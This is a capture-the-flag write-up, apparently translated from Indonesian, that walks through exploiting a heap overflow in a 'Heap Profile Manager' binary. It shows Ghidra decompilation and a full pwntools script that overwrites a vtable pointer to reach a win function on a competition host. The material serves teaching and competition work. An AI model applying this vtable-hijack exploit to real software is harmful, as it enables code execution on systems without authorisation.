Warning: This writeup was originally in INDONESIAN for the competition's mandatory writeup, so I used ChatGPT to translate to ENGLISH!!!
A given binary named chall was analyzed and found to be a “Heap Profile Manager.” After decompiling it using Ghidra , its working mechanism was identified as follows:
Copy void vulnerableFunction(void)
{
char *pcVar1;
UserProfile *this;
AdminProfile *this_00;
ostream *poVar2;
pcVar1 = (char *)operator.new[](0x40);
this = (UserProfile *)operator.new(8);
*(undefined8 *)this = 0;
UserProfile::UserProfile(this);
this_00 = (AdminProfile *)operator.new(8);
*(undefined8 *)this_00 = 0;
AdminProfile::AdminProfile(this_00);
std::operator<<((ostream *)std::cout,"Enter your profile descri ption: ");
std::operator>>((istream *)std::cin,pcVar1);
poVar2 = std::operator<<((ostream *)std::cout,"Your profile says: ");
poVar2 = std::operator<<(poVar2,pcVar1);
std::operator<<(poVar2,"\n");
(*(code *)**(undefined8 **)this)(this,pcVar1);
if (pcVar1 != (char *)0x0) {
operator.delete[](pcVar1);
}
if (this != (UserProfile *)0x0) {
operator.delete(this,8);
}
if (this_00 != (AdminProfile *)0x0) {
operator.delete(this_00,8);
}
return;
}
The program starts by allocating 0x40 (or 64 in decimal) bytes for an input buffer, which is then passed to the displayProfile
function to display what we input. For example:
However, a significant vulnerability is present in the input handling, as it does not validate the input length, allowing an overflow . The target overflow is the following function call, which also lacks validation, so it can be replaced with any pointer if done correctly:
Copy (*(code *)**(undefined8 **)this)(this,pcVar1);
After that, I tried analyzing the heap content by sending a 64-character cyclic payload using pwntools
:
Copy OFFSET=64
payload = flat(
cyclic(OFFSET,n=8)
)
io.sendline(payload)
Since the buffer size is 0x40 , adding heap metadata should result in a total size close to that:
Thus, I was able to further analyze the heap chunk addresses:
It was concluded that three allocations occur in sequence:
User allocation (8 bytes)
Admin allocation (8 bytes)
The next steps are:
Overflow without corrupting the heap structure
Replace the vtable of UserProfile
with the vtable of the win
function found in the AdminProfile
class
The vtable address used can be found in Ghidra , resulting in the following payload structure :
Address of the vtable for win
Thus, the final payload is as follows:
Copy #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# -*- template: winterbitia -*-
# ====================
# -- PWNTOOLS SETUP --
# ====================
from pwn import *
exe = context.binary = ELF(args.EXE or 'chall')
trm = context.terminal = ['tmux', 'splitw', '-h']
host = args.HOST or '103.127.138.252'
port = int(args.PORT or 17010)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
gdbscript = '''
tbreak main
b *vulnerableFunction+226
b *vulnerableFunction+242
b *vulnerableFunction+264
b *vulnerableFunction+286
continue
'''.format(**locals())
# =======================
# -- EXPLOIT GOES HERE --
# =======================
io = start()
OFFSET=64
log.info(io.clean())
payload = flat(
cyclic(OFFSET,n=8),
0x0 * 15,
0x21,
0x403db0
)
io.sendline(payload)
io.interactive()